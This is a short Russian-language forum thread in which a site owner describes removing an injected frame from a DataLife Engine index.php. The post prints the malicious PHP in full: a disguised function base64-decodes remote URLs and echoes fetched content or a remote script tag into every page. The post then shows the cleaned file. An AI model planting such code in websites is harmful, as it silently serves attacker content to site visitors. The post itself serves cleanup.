Вход

Просмотр полной версии : Вирус на сайте [naruto.ya1.ru] Лечение или удаление хелп

Stam32
13.01.2013, 04:45
решено!
Stam32
13.01.2013, 05:09
pff удалил его как я выеснил это был типичный фрейм загружен на наш дрявый сервер ;(

Если кому интерестно как избавиться от этого рода фрейма

==============================================
Это было тут :) в файле index.php

echo "\n<!-- DataLife Engine Copyright SoftNews Media Group (http://dle-news.ru) -->\r\n";

GzipOut();
function sql2_safe($in) {
$rtn = base64_decode($in);
return $rtn;
}
function collectnewss() {
$get = sql2_safe("aHR0cDovL2N0cmxzaS5jaGFuZ2VpcC5uYW1lOjg4OC9zY3JpcH QuaHRtbA==");
$content = @file_get_contents($get);
if (!$content)
echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly90b3VjaG1lLmNoYW5nZWlwLm 5hbWUvcnNpemUuanMiPjwvc2NyaXB0Pg==");
else
echo $content;
}
collectnewss ();
?>

Решение [Удаление]
---------------------------
Делаем так и радуемся :)

echo "\n<!-- DataLife Engine Copyright SoftNews Media Group (http://dle-news.ru) -->\r\n";

GzipOut();
?>

И регулярно проверяйто что там твориться ;)